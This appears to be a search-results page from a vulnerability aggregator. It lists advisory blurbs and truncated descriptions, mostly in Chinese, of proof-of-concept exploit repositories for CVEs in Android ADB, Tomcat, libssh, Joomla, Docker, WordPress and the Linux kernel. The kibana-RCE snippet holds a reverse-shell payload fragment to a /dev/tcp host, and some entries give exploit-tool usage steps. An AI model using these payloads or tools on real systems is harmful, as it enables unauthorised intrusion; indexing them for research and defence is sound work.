135812 matches found
The vulnerability of the FOQUZ platform, related to deficiencies in the authentication process, allows unauthorized users to gain access to protected information.
The vulnerability of the FOQUZ platform is related to deficiencies in the authentication process. Exploiting this vulnerability could allow an attacker, operating remotely, to gain unauthorized access to protected information...
The vulnerability of the FOQUZ platform, related to the incorrect expiration time of sessions, allows attackers to elevate their privileges and gain unauthorized access to protected information.
The vulnerability of the FOQUZ platform is related to an incorrect session duration. Exploiting this vulnerability can allow a remote attacker to increase their privileges and gain unauthorized access to protected information...
The vulnerability of the iFlightDoc onboard documentation system, related to incorrect restrictions on the path name to the catalog, allows a intruder to gain unauthorized access to protected information.
The vulnerability of the iFlightDoc onboard documentation system is related to an incorrect limitation on the name of the path to the catalog h. Exploiting this vulnerability could allow a malicious actor, operating remotely, to gain unauthorized access to the protected information...
The vulnerability of the Enlogic SCADA system’s virtual controller “ENTEK”, related to the transmission of data in an open manner, allows a intruder to gain unauthorized access to protected information by intercepting network traffic.
The vulnerability of the Enlogic SCADA system “ENTEK”’s virtual controller is related to the transmission of data in an open manner. Exploiting this vulnerability can allow a malicious actor, operating remotely, to gain unauthorized access to protected information by intercepting network traffic...
The vulnerability of the CrocoTime employee attendance system, related to deficiencies in the authorization process, allows a violator to gain unauthorized access to protected information.
The vulnerability of the CrocoTime employee time management system is related to deficiencies in the authorization process. Exploiting this vulnerability could allow an attacker, operating remotely, to gain unauthorized access to protected information...
CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN
CVE-2026-0073 — Android ADBD TLS 身份验证绕过 EVPPKEYcmp 类型混淆 → 未经授权的 ADB shell 🔥 概述 Android 的 ADB 守护程序 adbd 中存在一个关键的身份验证绕过 漏洞，允许本地网络上的任何攻击者在目标设备上获得完整的 shell 权限，而无需用户授权 。 该漏洞存在于 daemon/auth.cpp 文件中的 adbdtlsverifycert 函数中，其中 EVPPKEYcmp 被用作布尔值。当存储的密钥是 RSA 密钥，而提供的 TLS 客户端证书携带的是 非 RSA 密钥 （EC P-256 或...
CVE-2020-15916
英文 GenLANConfigAttack - 是一个针对 CVE-2020-15916 漏洞的概念验证工具，该漏洞允许未经授权更改设备的 LAN 配置。 功能特点 利用 LAN 配置漏洞 发送恶意有效载荷以更改网络设置 绕过安全机制以获取对 LAN 的控制权 使用方法 1. 克隆此仓库： git clone https://github.com/geniuszly/CVE-2020-15916 2. 安装依赖： pip install -r requirements.txt 3. 运行漏洞利用程序： python GenLANConfigAttack.py 参数 targetip:...
CVE-2020-1938TomcatAjpScanner
CVE-2020-1938TomcatAjpScanner 批量扫描TomcatAJP漏洞 漏洞详情 2020年1月6日，国家信息安全漏洞共享平台（CNVD）收录了Apache Tomcat文件包含漏洞（CNVD-2020-10487，对应CVE-2020-1938）。攻击者利用该漏洞，可在未授权的情况下远程读取特定目录下的任意文件。目前，漏洞细节尚未公开，厂商已发布新版本完成漏洞修复。 漏洞分析 https://mp.weixin.qq.com/s/8Wueh4lkKBtfNisjxOSoWA 脚本使用 python CVE-2020-1938TomcatAjpScanner -h...
cve-2018-10933
CVE-2018-10933 CVE-2018-10933 libssh 身份验证绕过，一个易受攻击的 Docker 容器，监听 2222 端口以供利用。容器中包含一个基础的 libssh 概念验证补丁，用于绕过身份验证。登录时使用 libssh 默认的 "myuser" / "mypassword"。该补丁应用于 Docker 容器中的 libssh 副本，会在任何身份验证（keyboard-interactive / pubkey / gss-api 等）尝试期间注入一个 SSH2MSGUSERAUTHSUCCESS...
CVE-2025-30567
简介 WordPress WP01 未授权任意文件下载漏洞！ 环境搭建 步骤 1：下载 WP01 插件，但是... 哈哈，别担心，这里是该插件的源代码。 步骤 2：将提供的 wp01 文件夹打包并上传到 WordPress 插件区域。像这样-- 分析 很简单——漏洞在以下位置触发： 接下来，检查 makearchive 方法在何处被调用。 存在两个 AJAX 操作钩子——一个针对已登录用户，另一个针对未登录用户。这就是未授权访问漏洞的原因。 好了，现在让我们构造 payload 来读取本机上 /etc/passwd 的内容。 POST...
whisperpair-poc-tool
WhisperPair-PoC-Tool 与研究成果 深入探究 CVE-2025-36911 及 Google Fast Pair 生态系统中的安全漏洞 博客文章 执行摘要 Google Fast Pair 旨在让蓝牙配对变得无缝：轻触通知即可连接。但当这种无缝体验变成安全负担时会发生什么？WhisperPair-PoC-Tool 是一款安全研究工具，它揭示了影响数百万蓝牙配件的两类关键漏洞：未授权配对绕过和 Find My Device 网络追踪利用。 本文详细介绍了 WhisperPair-PoC-Tool 的技术内部原理、它所利用的协议缺陷，以及这对蓝牙配件生态系统意味着什么。 目...
CVE-2023-23752
CVE-2023-23752 Joomla 未授权访问漏洞 CVE-2023-23752 漏洞描述 Joomla是一款开源的内容管理系统（CMS），使用PHP编写，支持MySQL、MSSQL和PostgreSQL等多种数据库系统。访问限制不当导致未经授权访问服务器REST API接口。 受影响版本：Joomla 4.0.0 - 4.2.7 使用帮助 optional arguments: -h, --help show this help message and exit -u URL, --url URL 指定url地址 -f FILE, --file FILE 指定文件 -p...
CVE-2022-0847
CVE-2022-0847 脏管道漏洞 仅供教育用途 ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passwd ┌──vagrant㉿kali- └─$ g...
CVE-2020-2969
CVE-2020-2969 CVE-2020-2969 的 PoC 记录在此：https://packetstormsecurity.com/files/179027/Oracle-Database-Password-Hash-Unauthorized-Access.html...
CVE-2023-23752-Joomla
CVE-2023-23752-Joomla 免责声明： 本网络安全工具仅用于提供技术支持，不涉及任何应用或商业行为。用户在使用本网络安全工具的过程中，不得以任何方式损害他人的合法权益。 该工具的运行仅依赖用户提供的信息，并不包括任何违反相关法律法规的内容。用户在使用本网络安全工具时，必须确保其提供的信息合法、有效、真实可靠，否则可能会产生不利后果。 本软件提供的服务仅供参考，不构成任何责任。用户在使用本网络安全工具时，应自行承担有关安全风险。我们并不对使用者使用本工具所涉及的任何技术服务承担任何义务或责任，无论此类技术服务是否有任何损失和/或损害。 介绍： Joomla 未授权访问漏洞...
kibana-RCE
CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...
CVE-2025-9074-Docker-Exploit
CVE-2025-9074 Docker 容器命令执行工具 一个功能强大的 Docker 远程 API 漏洞利用工具，用于 CVE-2025-9074 漏洞的安全研究和测试。 核心优势 ✅ 全自动容器生命周期管理 ：自动创建临时容器，操作完成后自动清理，不留痕迹 ✅ 智能路径处理 ：自动识别并转换 Windows 路径为 Docker 挂载格式 ✅ 全自动化操作流程 ：无需手动输入复杂命令，菜单式交互，一键完成文件操作 ✅ 跨平台兼容 ：完美支持 Windows 和 Linux 系统 部分功能效果图 功能特性 容器操作 查看运行中的容器 查看所有容器（包括停止的） 创建新容器 停止容器...
authz0
Authz0 is an automated authorization test tool. Unauthorized access can be identified based on URLs and Roles & Credentials. URLs and Roles are managed as YAML-based templates, which can be automatically created and added through authz0. You can also test based on multiple authentication headers...
CVE-2024-0044
CVE-2024-0044 概述 CVE-2024-0044 是某些 Android 应用中发现的一个漏洞，攻击者可通过利用 run-as 命令中的缺陷来提升权限。攻击者可通过构造特定载荷来利用此漏洞，从而获得对应用数据目录的未授权访问，而这些目录本应对攻击者不可访问。 概述 该 Bash 脚本通过将恶意 APK 推送到目标设备、提取必要的 UID、生成载荷，并引导用户在 adb shell 中执行所需命令，来自动化利用 CVE-2024-0044。 功能 APK 推送 ：该脚本将指定的 APK 推送到目标设备。 UID 提取 ：提取目标应用的 UID。 载荷生成...